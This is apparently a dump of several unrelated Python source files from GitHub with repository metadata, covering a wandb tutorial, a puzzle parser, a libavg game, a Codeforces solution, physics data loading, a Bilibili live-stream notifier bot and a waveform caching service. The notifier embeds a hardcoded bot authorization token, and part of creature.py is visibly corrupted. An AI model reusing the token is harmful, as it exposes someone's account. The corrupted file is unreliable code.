main()\n","repo_name":"dimk00z/Async-5.-Connect-to-chat-GUI","sub_path":"register_to_chat.py","file_name":"register_to_chat.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"36783754471","text":"from bakery.application.dto.dto import DTO\nfrom typing import List\n\n\nclass LocationDTO(DTO):\n def __init__(self, location_id:str,location_name: str, description: str,updated_by):\n self.location_id = location_id\n self.location_name = location_name\n self.description = description\n self.updated_by = updated_by","repo_name":"abhibhatia98/inmar","sub_path":"services/bakery/application/dto/location_dto.py","file_name":"location_dto.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"27285189447","text":"import sys\nimport os\n\nimport socket\nfrom pathlib import Path\nimport argparse\nimport random\nimport math\n\nimport wandb\n\ndef parse(args):\n parser = argparse.ArgumentParser(\n description='wandb_usage', formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument(\"--team_name\", type=str)\n parser.add_argument(\"--project_name\", type=str)\n parser.add_argument(\"--experiment_name\", type=str)\n parser.add_argument(\"--scenario_name\", type=str)\n parser.add_argument(\"--seed\",type=int,default=0)\n all_args = parser.parse_known_args(args)[0]\n return all_args\n\ndef test_curves(args):\n\n all_args = parse(args)\n\n random.seed(all_args.seed)\n\n run_dir = Path(\"../results\") / all_args.project_name / all_args.experiment_name\n if not run_dir.exists():\n os.makedirs(str(run_dir))\n\n wandb.init(config=all_args,\n project=all_args.project_name,\n entity=all_args.team_name,\n notes=socket.gethostname(),\n name=all_args.experiment_name+\"_\"+str(all_args.seed),\n group=all_args.scenario_name,\n dir=str(run_dir),\n job_type=\"training\",\n reinit=True)\n\n total_step_num = 1000\n for step in range(total_step_num):\n wandb.log({'random_curve':step/100+random.random()},step=step)\n wandb.log({'log_curve': math.log(step+1)},step=step)\n wandb.finish()\n\nif __name__ == '__main__':\n test_curves(sys.argv[1:])","repo_name":"OpenRL-Lab/Wandb_Tutorial","sub_path":"basic/test_curves.py","file_name":"test_curves.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","stars":428,"dataset":"github-code","pt":"19"} +{"seq_id":"13820663525","text":"\"\"\"\"\nThis file contains method that will read and parse the input file.\n\"\"\"\n\n\ndef readpuzzle(file):\n list_of_puzzle = [] # an array to store the list of puzzle\n file_input = open(file, 'r')\n lines = file_input.readlines()\n puzzle_num = 1 # initially the number of puzzle is 1 , will increment as reading the file\n\n for line in lines:\n fuels = {}\n puzzle = [] # an array to store a single puzzle\n line = line.strip() # Removes any leading(space in beginning) & trailing (spaces at the end)\n\n # 2. an empty line (useful for formatting) – you should skip that line\n # 3. a line that starts with a # (useful for inserting comments) – you should skip this line also.\n if line != \"\" and not line.startswith(\"#\"):\n splitlines = line.split(\" \")\n string_Of_Puzzle = splitlines[0]\n\n puzzle_row = [] # initializing an empty array puzzle row!\n for i in range(len(string_Of_Puzzle)): # running this for loop until the 36 characters of the board\n\n if string_Of_Puzzle[i] not in fuels and string_Of_Puzzle[i] != '.': # '.' should not have any fuel as it is not a car\n fuels[string_Of_Puzzle[i]] = 100 # 1. if no fuel level is indicated,assuming the vehicle has a fuel level of 100\n puzzle_row.append(string_Of_Puzzle[i]) # appending the default fuel of each car\n if len(puzzle_row) == 6: # breaking the string of puzzle after 6 characters\n puzzle.append(puzzle_row)\n puzzle_row = [] # this to put first row of the board into the array.\n # end of loop\n arrayoffuel = splitlines[1:]\n for fuel in arrayoffuel: # this for loop for accessing the fuel level after the 36 characters of the board!\n fuels[fuel[0]] = int(fuel[1])\n # end of loop\n # Now appending everything together to get a single puzzle\n list_of_puzzle.append({\"puzzle\": puzzle, \"fuel\": fuels, \"string_of_puzzle\": string_Of_Puzzle, \"puzzle_num\": puzzle_num})\n puzzle_num = puzzle_num + 1\n # end of loop\n file_input.close()\n return list_of_puzzle\n\n\npuzzlelist = readpuzzle('sample-input.txt')\n\n","repo_name":"KEYURPATEL03/AI_COMP472_mp2","sub_path":"inputPuzzle.py","file_name":"inputPuzzle.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"41007648869","text":"from libavg import *\nimport util\nimport time\nfrom hp import HP\nimport os\nfrom libavg.utils import getMediaDir\n\n\n\nclass Creature(object): \n \"\"\"\n This class represents a creature.\n \"\"\"\n\n # Map of all creatures id --> object.\n creatures = {}\n \n # All creatures of player 1.\n creatures1 = []\n \n # All creatures of player 2.\n creatures2 = []\n \n\n\n def _runningStopped(self):\n \"\"\"\n This method is called, if the linearAnim that moves the creature stops.\n \"\"\"\n if self.state == \"RUNNING\" and self.pos.x == self.targetX :\n self.state=\"DEAD\"\n duration = 1000\n \n if not self.main.isGameOver(): \n self.team.points+=self.hitPoints\n\n self.creatureDiv.sensitive=False\n middlepoint = (self.pos.x +self.creatureDiv.size.x//2, self.pos.y +self.creatureDiv.size.y//2) \n self.creatureDiv.size = (self.creatureDiv.size.x*3, self.creatureDiv.size.y*3)\n self.creature.pos = (self.creatureDiv.size.x//2,self.creatureDiv.size.y//2)\n\n self.pos = (middlepoint[0]-self.creatureDiv.size.x//2,middlepoint[1]-self.creatureDiv.size.y//2) \n\n self._hp.hide()\n avg.LinearAnim(self.creatureDiv, \"pos\", duration, self.creatureDiv.pos , (self.pos.x + self.team.direction * 3*self.creature.r, self.pos.y)).start()\n avg.LinearAnim(self.creature, \"r\", duration, self.creature.r, self.creature.r*3).start()\n avg.LinearAnim(self.creature, \"fillopacity\", duration, self.creature.fillopacity, 0, False, None, self._delete).start() \n \n \n \n def _delete(self):\n \"\"\"\n Removes the creature from the creature \"lists\" and unlinks the libAVG node.\n \"\"\"\n if self.team.id==1:\n self.creatures1.remove(self)\n else:\n self.creatures2.remove(self)\n del Creature.creatures[id(self)]\n del self.runningAnim\n if (self.freezeTimer is not None):\n self.player.clearInterval(self.freezeTimer)\n\n self.creatureDiv.unlink(True) \n \n \n def _switchToActiveLayer(self):\n \"\"\"\n Changes the layer the creature is running on.\n \"\"\"\n if self.state==\"RUNNING\" and self.pos.x==util.halfwidth:\n self.targetX = self.team.targetX-(2*self.creature.r if self.team.direction==1 else 0)\n runningTime = self._calcTime()\n self.creatureDiv.unlink(False)\n self.activeLayer.appendChild(self.creatureDiv)\n self.runningAnim = avg.LinearAnim(self.creatureDiv, \"pos\", runningTime, (self.pos.x,self.pos.y), (self.targetX,self.pos.y),False, None, self._runningStopped)\n self.runningAnim.start()\n\n \n def _switchToInActiveLayer(self):\n \"\"\"\n Changes the layer the creature is running on.\n \"\"\"\n if self.team.id==1:\n self.testX = util.basewidth\n else:\n self.testX = util.rightBasePos[0]-self.creatureDiv.size.x\n \n if self.pos.x == self.testX:\n self.creatureDiv.unlink(False)\n self.inActiveLayer.appendChild(self.creatureDiv)\n self.targetX = util.halfwidth\n \n runningTime = self._calcTime()\n self.runningAnim = avg.LinearAnim(self.creatureDiv, \"pos\", runningTime, (self.pos.x,self.pos.y), (self.targetX,self.pos.y),False, None, self._switchToActiveLayer)\n self.startTime = time.time()\n self.runningAnim.start()\n \n \n \n def _startRunning(self):\n \"\"\"\n Starts the movement of the creature.\n \"\"\"\n if(self.state == \"BIRTH\"):\n self.state = \"RUNNING\"\n \n if self.team.id==1:\n self.targetX = util.basewidth\n else:\n self.targetX = util.rightBasePos[0]-self.creatureDiv.size.x\n runningTime = self._calcTime()\n self.runningAnim = avg.LinearAnim(self.creatureDiv, \"pos\", runningTime, (self.pos.x,self.pos.y), (self.targetX,self.pos.y),False, None, self._switchToInActiveLayer)\n self.startTime = time.time()\n self.runningAnim.start()\n \n \n def _mouseUp(self,event):\n \"\"\"\n Stops the birth process.\n \"\"\"\n if self.state == \"BIRTH\":\n self.player.clearInterval(self.timer)\n self._startRunning()\n \n \n def _setPos(self, value):\n \"\"\"\n Setter for the position of the libAVG node.\n \"\"\"\n self.creatureDiv.pos = value\n \n def _getPos(self):\n \"\"\"\n Getter for the position of the libAVG node.\n \"\"\"\n return self.creatureDiv.pos\n \n pos = property(_getPos, _setPos) \n \n \n def _setHP(self, value):\n \"\"\"\n Setter for the HP of the creature.\n \"\"\"\n self._hp.hp = value\n \n def _getHP(self):\n \"\"\"\n Getter for the HP of the creature.\n \"\"\"\n return self._hp.hp\n \n hitPoints = property(_getHP, _setHP)\n\n \n \n \n def _hitPointTimer(self):\n \"\"\"\n This method is called by the timer for the creation of the creature.\n Increases the amount of pie pieces and the hit points.\n \"\"\"\n if self.i=util.rightBasePos[0]-self.creatureDiv.size.x:\n self.targetX=util.rightBasePos[0]-self.creatureDiv.size.x\n stopAnim = self._switchToInActiveLayer\n elif self.pos.x>=util.halfwidth:\n self.targetX=util.halfwidth\n stopAnim = self._switchToActiveLayer\n else:\n self.targetX= self.team.targetX-(2*self.creature.r if self.team.direction==1 else 0)\n stopAnim = self._runningStopped\n \n \n \n self.player.clearInterval(self.freezeTimer)\n self.runningAnim = avg.LinearAnim(self.creatureDiv, \"pos\", self._calcTime(), (self.pos.x,self.pos.y), (self.targetX,self.pos.y),False, None, stopAnim) \n self.runningAnim.start()\n \n \n def freeze(self, time):\n \"\"\"\n Freezes the creature for the given time.\n \"\"\"\n if not (self.runningAnim == None):\n self.runningAnim.abort()\n self.freezeTimer = self.player.setInterval(time, self._startMoving) \n \n def getCirclePos(self):\n return avg.Point2D(self.pos.x + self.creatureDiv.size.x//2, self.pos.y + self.creatureDiv.size.y//2) \n \n\n","repo_name":"libavg/mtc-geneatd","sub_path":"geneatd/creature.py","file_name":"creature.py","file_ext":"py","file_size_in_byte":10967,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"37566856507","text":"import collections\nimport sys\nimport math\ninput = sys.stdin.readline\n\ndef inp():\n return(int(input()))\ndef inlt():\n return(list(map(int,input().split())))\ndef insr():\n s = input()\n return(list(s[:len(s) - 1]))\ndef invr():\n return(map(int,input().split()))\n\n\ndef solution():\n n, k = inlt()\n left = 1\n right = n\n res = 0\n while left < right:\n res += 2\n left += k\n right -= k\n\n if right - left + 2 * k - 1 >= k:\n res += 1\n\n print(res)\n return\n\n\nif __name__ == '__main__':\n t = inp()\n for i in range(t):\n solution()\n","repo_name":"cybsbbb/codeforces_practice","sub_path":"contests/Round876/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"70833781163","text":"import csv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nusegal1to6 = False\nusestacybin = True\nusestacyall = False\nif usegal1to6:\n allx = np.array([])\n ally = np.array([])\n\n alphas= [7.3/7.55,82.4/82.1,6.18/8.66,58.7/47.5,8.11/6.9,3.91/3.78] #div par dist publi\n alphas = [1/x for x in alphas]\n\n anglepubli=[66.1,38.3,63.7,53.9,39.4,64.5]\n ben_angle = [64, 40, 61, 64, 41, 75]\n\n uds = [1.01,0.41,0.62,0.48,0.6,0.07]\n ubulge = [1,1,1,1,1,0.93]\n\n for i in range(6):\n print(i)\n with open('gal' + str(i+1) + '.csv', 'r') as myfile:\n csvReader = csv.reader(myfile)\n opendata= []\n for row in csvReader:\n opendata.append(row)\n\n alldata= np.zeros(7)\n for x in opendata:\n x[0] = x[0].replace('\\t', ', ')\n res = x[0].split(',')\n line = np.zeros(7)\n for j in range(7):\n line[j] = float(res[j])\n alldata= np.vstack((alldata, line))\n\n alldata = np.delete(alldata, 0, 0)\n\n kpc = 3.086*10**(19)\n kms = 1000\n\n dist = alldata[:, 0]*kpc\n vobs= alldata[:, 1]*kms\n eerv= alldata[:, 2]\n vgas= alldata[:, 3]*kms\n vdisk= alldata[:, 4]*kms\n vbul= alldata[:, 5]*kms\n sbdisk= alldata[:, 6]\n #sbulb= alldata[:, 7]\n print(i)\n alpha = alphas[i]\n u_disk = uds[i]\n u_bulge = ubulge[i]\n angle_correction = np.sin(np.pi*ben_angle[i]/180)/np.sin(np.pi*anglepubli[i]/180)\n ao = 1.2 * (10**(-10))\n\n v_baryons = np.sqrt(alpha * (u_disk * vdisk**2 + u_bulge * vbul**2 + vgas**2))\n y = (vobs*angle_correction)**2/(dist*ao)\n\n #corr d'angle\n x = v_baryons**2/(dist*ao)\n allx = np.hstack((allx, x))\n ally = np.hstack((ally, y))\n\n\nif usestacybin:\n\n with open('stacy_bin.csv', 'r') as myfile:\n csvReader = csv.reader(myfile)\n opendata = []\n for row in csvReader:\n opendata.append(row)\n\n alldata = np.zeros(4)\n for x in opendata:\n x[0] = x[0].replace('\\t', ', ')\n res = x[0].split(',')\n line = np.zeros(4)\n for j in range(4):\n line[j] = float(res[j])\n alldata = np.vstack((alldata, line))\n\n alldata = np.delete(alldata, 0, 0)\n print(alldata)\n allx = alldata[:,0]\n ally = alldata[:,1]\n\n\nif usestacyall:\n\n with open('stacy_all.csv', 'r') as myfile:\n csvReader = csv.reader(myfile)\n opendata = []\n for row in csvReader:\n opendata.append(row)\n\n alldata = np.zeros(4)\n for x in opendata:\n x[0] = x[0].replace('\\t', ', ')\n res = x[0].split(',')\n line = np.zeros(4)\n for j in range(4):\n line[j] = float(res[j])\n alldata = np.vstack((alldata, line))\n\n alldata = np.delete(alldata, 0, 0)\n print(alldata)\n allx = alldata[:,0]\n ally = alldata[:,2]\n\n\n\nfig = plt.figure()\nax = plt.axes()\n\n#mu = x/(1+x) : le fit depend bcp de ao!!\ndef nu1(x):\n return (x + np.sqrt(x**2 +4*x))/(2*x)\n\ndef test(x):\n return (x*(x + 0.2) + np.log(x + 1))/(x + 0.2)\n\ndef test2(x):\n return (x - np.log10((8.871011)))-((x - np.log10((8.871011)))/(((np.exp(x - np.log10((8.871011))))-(x - np.log10((8.871011))))/((0.188739)/(np.exp((0.614191)*(x - np.log10((8.871011))))))))+np.log10((8.871011))\n\n\naddfake = True\n\n#allx = (10**allx)/(1.2*10**(-10))\n#ally= 10**ally/(1.2*10**(-10))\nsortx = allx.argsort()\nsortedx = allx[sortx][:] + 10\nsortedy = ally[sortx][:] + 10\nprint(len(sortedx))\nbins = 50\nq = len(sortedx)//bins\nbinsortex = []\nbinsortedy = []\nfor u in range(q):\n binsortex.append(sum(sortedx[u*bins:(u+1)*bins])/bins)\n binsortedy.append(sum(sortedy[u*bins:(u+1)*bins])/bins)\n\nif addfake:\n #sortedx = np.concatenate((np.array([1e-12]), sortedx))\n #sortedy = np.concatenate((np.array([1e-6]), sortedy))\n for u in range(1):\n sortedx = np.concatenate((sortedx, np.array([10+u])))\n sortedy = np.concatenate((sortedy, np.array([10+u])))\n #sortedx = np.concatenate((sortedx, np.array([1000])))\n #sortedy = np.concatenate((sortedy, np.array([1000])))\np = 4.425243\nplt.scatter(sortedx[:], sortedy[:])\nplt.scatter(sortedx[:], test2(sortedx))\nplt.scatter(sortedx[:], sortedx +np.log10(nu1((10**sortedx)/(1.2))) )\n\nplt.show()\n\n#renormalize by bin and smooth it!\n\nif True:\n import pickle\n save_dic = {}\n save_dic['xgal'] = np.asarray(sortedx)\n save_dic['ygal'] = np.asarray(sortedy)\n\n #save_dic['xgal'] = np.log10(np.asarray(sortedx))\n #save_dic['ygal'] = np.log10(np.asarray(sortedy))\n\n filename = './galXY.txt'\n with open(filename, 'wb') as file:\n pickle.dump(save_dic, file)\n\n file.close()\n\n","repo_name":"jpbruneton/Symbolic-Regression","sub_path":"data_loader/sanders.py","file_name":"sanders.py","file_ext":"py","file_size_in_byte":4819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"8551321980","text":"import requests\nimport pymysql\nimport json\nimport configparser\nimport time\nimport random\n\nconfig_info = configparser.ConfigParser()\nfui = config_info.read(\"config.ini\")\nmysql_info_host = config_info.get(\"mysql\", \"host\")\nmysql_info_name = config_info.get(\"mysql\", \"db_name\")\nmysql_info_username = config_info.get(\"mysql\", \"username\")\nmysql_info_password = config_info.get(\"mysql\", \"password\")\nkaiheila_roomid = config_info.get(\"kaiheila\", \"room_id\")\ndb = pymysql.connect(host=mysql_info_host, user=mysql_info_username, password=mysql_info_password,\n database=mysql_info_name)\ncursor = db.cursor()\nbot_header = {\n\t\"Authorization\": \"Bot 1/MTAxNjA=/ugnbLazYqwKY8+wFl+65gA==\"\n}\n\n\ndef bilibili_live(UID):\n\tbilibili_url = \"https://api.bilibili.com/x/space/acc/info?mid=\" + str(UID) + \"&jsonp=jsonp\"\n\t# print(bilibili_url)\n\theaders = {\n\t\t\"origin\": \"https://space.bilibili.com\",\n\t\t\"referer\": \"https://space.bilibili.com/\",\n\t\t\"sec-ch-ua\": \"\\\" Not A;Brand\\\";v=\\\"99\\\", \\\"Chromium\\\";v=\\\"90\\\", \\\"Microsoft Edge\\\";v=\\\"90\\\"\",\n\t\t\"sec-ch-ua-mobile\": \"?0\",\n\t\t\"sec-fetch-dest\": \"empty\",\n\t\t\"sec-fetch-mode\": \"cors\",\n\t\t\"sec-fetch-site\": \"same-site\",\n\t\t\"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.19 Safari/537.36 Edg/90.0.818.8\"\n\t}\n\tbilibili_live_all = (requests.get(url=bilibili_url, headers=headers))\n\tbilibili_live_json = bilibili_live_all.json()\n\n\tif bilibili_live_json[\"code\"] == -404:\n\t\tprint(\"error,没有找到这个UP\")\n\t\treturn {\"code\": \"404\"}\n\tif str(bilibili_live_json[\"data\"][\"live_room\"][\"liveStatus\"]) == \"0\":\n\t\t_sql = \"UPDATE BILIBILI_LIVE SET LIVE_TYPE = 0 WHERE UID = {}\".format(UID)\n\t\t# print(_sql)\n\t\tcursor.execute(_sql)\n\t\tdb.commit()\n\t\tprint(\"检测到主播并未开播,操作数据库成功\")\n\n\treturn {\n\t\t\"code\": \"200\",\n\t\t\"name\": (bilibili_live_json[\"data\"][\"name\"]),\n\t\t\"face_img\": (str(bilibili_live_json[\"data\"][\"face\"])),\n\t\t\"live_type\": (str(bilibili_live_json[\"data\"][\"live_room\"][\"liveStatus\"])),\n\t\t\"live_title\": (str(bilibili_live_json[\"data\"][\"live_room\"][\"title\"])),\n\t\t\"live_room_id\": (str(bilibili_live_json[\"data\"][\"live_room\"][\"roomid\"])),\n\t\t\"live_online\": (str(bilibili_live_json[\"data\"][\"live_room\"][\"online\"])),\n\t\t\"live_url\": (str(bilibili_live_json[\"data\"][\"live_room\"][\"url\"])),\n\t\t\"live_cover_img\": (str(bilibili_live_json[\"data\"][\"live_room\"][\"cover\"]))\n\t}\n\n\ndef cardview_post(UID):\n\tlive_all = (bilibili_live(UID))\n\t_sql_find = \"SELECT LIVE_TYPE FROM BILIBILI_LIVE WHERE UID={}\".format(UID)\n\tcursor.execute(_sql_find)\n\tUID_live_type = cursor.fetchall()\n\n\tUID_live_type = (UID_live_type[0][0])\n\tif live_all[\"code\"] == \"200\":\n\t\tcard_view = [\n\t\t\t{\n\t\t\t\t\"type\": \"card\",\n\t\t\t\t\"theme\": \"secondary\",\n\t\t\t\t\"size\": \"lg\",\n\t\t\t\t\"modules\": [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"type\": \"section\",\n\t\t\t\t\t\t\"text\": {\n\t\t\t\t\t\t\t\"type\": \"kmarkdown\",\n\t\t\t\t\t\t\t\"content\": \"**系统检测到新的直播动态**\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"type\": \"context\",\n\t\t\t\t\t\t\"elements\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"type\": \"image\",\n\t\t\t\t\t\t\t\t\"src\": live_all[\"face_img\"]\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"type\": \"plain-text\",\n\t\t\t\t\t\t\t\t\"content\": live_all[\"name\"]\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"type\": \"image-group\",\n\t\t\t\t\t\t\"elements\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"type\": \"image\",\n\t\t\t\t\t\t\t\t\"src\": live_all[\"live_cover_img\"]\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"type\": \"section\",\n\t\t\t\t\t\t\"text\": {\n\t\t\t\t\t\t\t\"type\": \"paragraph\",\n\t\t\t\t\t\t\t\"cols\": 3,\n\t\t\t\t\t\t\t\"fields\": [\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\"type\": \"kmarkdown\",\n\t\t\t\t\t\t\t\t\t\"content\": \"**标题**\\n{}\".format(live_all[\"live_title\"])\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\"type\": \"kmarkdown\",\n\t\t\t\t\t\t\t\t\t\"content\": \"**观看人数**\\n{}\".format(live_all[\"live_online\"])\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\"type\": \"kmarkdown\",\n\t\t\t\t\t\t\t\t\t\"content\": \"**房间号**\\n{}\".format(live_all[\"live_room_id\"])\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t]\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"type\": \"action-group\",\n\t\t\t\t\t\t\"elements\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"type\": \"button\",\n\t\t\t\t\t\t\t\t\"theme\": \"primary\",\n\t\t\t\t\t\t\t\t\"value\": live_all[\"live_url\"],\n\t\t\t\t\t\t\t\t\"click\": \"link\",\n\t\t\t\t\t\t\t\t\"text\": {\n\t\t\t\t\t\t\t\t\t\"type\": \"plain-text\",\n\t\t\t\t\t\t\t\t\t\"content\": \"前往直播间\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t}\n\t\t]\n\t\tcard_view_json = (json.dumps(card_view, ensure_ascii=False))\n\t\t# print(live_all[\"live_type\"])\n\t\tif live_all[\"live_type\"] == \"1\":\n\t\t\t# print(UID_live_type)\n\t\t\tif UID_live_type == 1:\n\t\t\t\tprint(\"主播昵称:\" + live_all[\"name\"])\n\t\t\t\tprint(\"主播状态:直播中\")\n\t\t\t\tprint(\"检测到之前已经推送了\\n跳过推送\")\n\t\t\t\treturn (\"跳过推送\")\n\t\t\telse:\n\t\t\t\tpost_json = {\n\t\t\t\t\t\"type\": \"10\",\n\t\t\t\t\t\"target_id\": str(kaiheila_roomid),\n\t\t\t\t\t\"content\": card_view_json,\n\t\t\t\t}\n\t\t\tprint(\"主播昵称:\" + live_all[\"name\"])\n\t\t\tprint(\"主播状态:直播中\")\n\t\t\tprint(\"检测到之前没有推送\\n发起推送\")\n\t\t\t(requests.post(headers=bot_header, data=post_json,\n\t\t\t url=\"https://www.kaiheila.cn/api/v3/message/create\").text)\n\t\t\t_sql_add = \"UPDATE BILIBILI_LIVE SET LIVE_TYPE = 1 WHERE UID = {}\".format(UID)\n\t\t\tcursor.execute(_sql_add)\n\t\t\tdb.commit()\n\t\telif live_all[\"live_type\"] == \"0\":\n\t\t\tprint(\"主播昵称:\" + live_all[\"name\"])\n\t\t\tprint(\"主播没有开播,不推送\")\n\t\t\tprint(\"主播状态:未开播\")\n\t\t\treturn 0\n\telse:\n\t\tprint(\"error,找不到\")\n\n\nsql = \"SELECT UID FROM BILIBILI_LIVE\"\ncursor.execute(sql)\nUID_list = cursor.fetchall()\nif __name__ == '__main__':\n\n\tfor UID in UID_list:\n\t\tprint(\"-------------开始查询主播ID:\" + str(UID[0]) + \"-------------\")\n\t\ttime_num = random.randint(60, 120)\n\t\tcardview_post(UID[0])\n\t\t# time.sleep(10)\n\t\tprint(\"数据库全库遍历完成,进入休眠,下次推送时间为:{}秒\".format(time_num))\n\n","repo_name":"KiteMoon/YH_KaiHeiLa_Bot_SE_Whl","sub_path":"bilibili_live/bilibili_live.py","file_name":"bilibili_live.py","file_ext":"py","file_size_in_byte":5586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"73806630763","text":"# given a list of temperature measured in celsius\n# given a list of temperature measured in fahrenheit\n# calculate how many item in F is greater than in C\n# F = C*9/5 + 32\n\ndef celsiusVsFahrenheit(yourTemps, friendsTemps):\n r = 0\n for i,v in enumerate(yourTemps):\n if v*9/5+32 < friendsTemps[i]: r+=1\n return r\n","repo_name":"DatDLuu/Short_Python_Algorithm","sub_path":"challenge/celsiusVersusFar.py","file_name":"celsiusVersusFar.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"30164108316","text":"\"\"\"\nFetches run and waveform data and caches them into the DB\naccording to the user requests\n\"\"\"\n\nimport pickle\nimport threading\nfrom threading import Thread\nimport os\nfrom bson.binary import Binary\nimport straxen\nimport holoviews as hv\nimport pymongo\nimport time\nimport bokeh\nimport pandas as pd\nimport traceback\nimport strax\n\n# Bokeh backend setup\nhv.extension(\"bokeh\")\nrenderer = hv.renderer(\"bokeh\") # Bokeh Server\nlock = threading.Lock() # A Lock to address race condition\n\n# Get the number of processors/cores available in the system\ncpu_count = os.cpu_count()\nprint(\"Number of processors/cores available in the system: \", cpu_count)\n\nAPP_DB_URI = os.environ.get(\"APP_DB_URI\", None)\nif APP_DB_URI == None:\n print(\"MongoDB Connection String Not Set\")\nmy_db = pymongo.MongoClient(APP_DB_URI)[\"waveform\"]\nmy_request = my_db[\"request\"]\nmy_waveform = my_db[\"waveform\"]\nmy_events = my_db[\"events\"]\nmy_software = my_db[\"software\"]\nmy_run = my_db[\"run\"]\ndims = [\n \"cs1\",\n \"cs2\",\n \"z\",\n \"r\",\n \"e_light\",\n \"e_charge\",\n \"e_light\",\n \"e_ces\",\n \"drift_time\",\n \"n_peaks\",\n \"event_number\",\n]\nstraxen.contexts.x1t_context_config['fuzzy_for'] = ('pulse_counts', 'lone_hits')\nst = straxen.contexts.xenon1t_dali()\nxenon1t_runs = st.select_runs(available=\"event_info\")['name'].values\nst_nt = straxen.contexts.xenonnt_online()\nst_nt.set_context_config({'check_available': ('event_info','peak_basics')})\nxenonnt_runs = st_nt.select_runs(available=\"peak_basics\")['name'].values\nst_nt.set_config(dict(nn_architecture=straxen.aux_repo+ 'f0df03e1f45b5bdd9be364c5caefdaf3c74e044e/fax_files/mlp_model.json',\n nn_weights= straxen.aux_repo+'f0df03e1f45b5bdd9be364c5caefdaf3c74e044e/fax_files/mlp_model.h5'))\ndef load_waveform(run_id, event_id):\n \"\"\"\n Renders a waveform\n\n Args:\n run_id (str): Run ID of the run\n event_id (str): Event ID of the event\n\n Returns:\n JSON-like str: The waveform of the event\n \"\"\"\n waveform = None\n if run_id in xenon1t_runs:\n events = st.get_array(run_id, \"event_info\")\n event = events[int(event_id)]\n waveform = waveform_display(context=st, run_id=run_id, time_within=event)\n elif run_id in xenonnt_runs:\n # Make events as XENONnT runs do not have events\n st_nt.make(run_id, \"event_info\")\n events = st_nt.get_array(run_id, \"event_info\")\n event = events[int(event_id)]\n waveform = waveform_display(context=st_nt, run_id=run_id, time_within=event) \n lock.acquire()\n try:\n waveform = renderer.server_doc(waveform).roots[-1]\n finally:\n lock.release()\n waveform = bokeh.embed.json_item(waveform)\n return waveform\n\n\ndef load_events(run_id):\n \"\"\"\n Loads the events for a run\n\n Args:\n run_id (str): Run ID of the run\n\n Returns:\n pd.DataFrame: The events dataframe\n \"\"\"\n if run_id in xenon1t_runs:\n events = st.get_df(run_id, \"event_info\")\n elif run_id in xenonnt_runs:\n st_nt.make(run_id, \"event_info\")\n events = st_nt.get_df(run_id, \"event_info\")\n return events\n\n\ndef cache_events(run_id, events, msg):\n \"\"\"\n Caches the events into MongoDB by breaking down\n all the columns to avoid document over size limit\n of 16MB\n\n Args:\n run_id (str): Run ID of the run\n events (pd.DataFrame): The events dataframe\n msg (str): Error message, empty string if no error\n \"\"\"\n post = {\"run_id\": run_id}\n if (not msg):\n document = my_events.find_one(post)\n if document == None:\n for dim in dims:\n post[dim] = list(events[dim])\n my_events.insert_one(post)\n else:\n post[\"msg\"] = msg\n my_events.insert_one(post)\n\n\ndef cache_waveform(run_id, event_id, waveform, msg):\n \"\"\"\n Caches the waveform into MongoDB\n\n Args:\n run_id (str): Run ID of the run\n event_id (str): Event ID of the event\n waveform (JSON-like str): The waveform\n msg (str): Error message, empty string if no error\n \"\"\"\n post = {\"event_id\": event_id, \"run_id\": run_id, \"waveform\": waveform, \"msg\": msg}\n document = my_waveform.find_one(post)\n if document == None:\n my_waveform.insert_one(post)\n\n\ndef process_waveform(run_id, event_id):\n \"\"\"\n Fetches/loads and caches waveform\n\n Args:\n run_id (str): Run ID of the run\n event_id (str): Event ID of the event\n \"\"\"\n print(\"starts processing waveform for run \", run_id, \" and \", event_id)\n try:\n waveform = load_waveform(run_id, event_id)\n cache_waveform(run_id, event_id, waveform, \"\")\n except Exception as e:\n print(\"An exception occured \")\n traceback.print_tb(e.__traceback__)\n if hasattr(e, \"message\"):\n cache_waveform(run_id, event_id, None, e.message)\n else:\n cache_waveform(run_id, event_id, None, \"Data Not Available\")\n finally:\n document = my_request.delete_one(\n 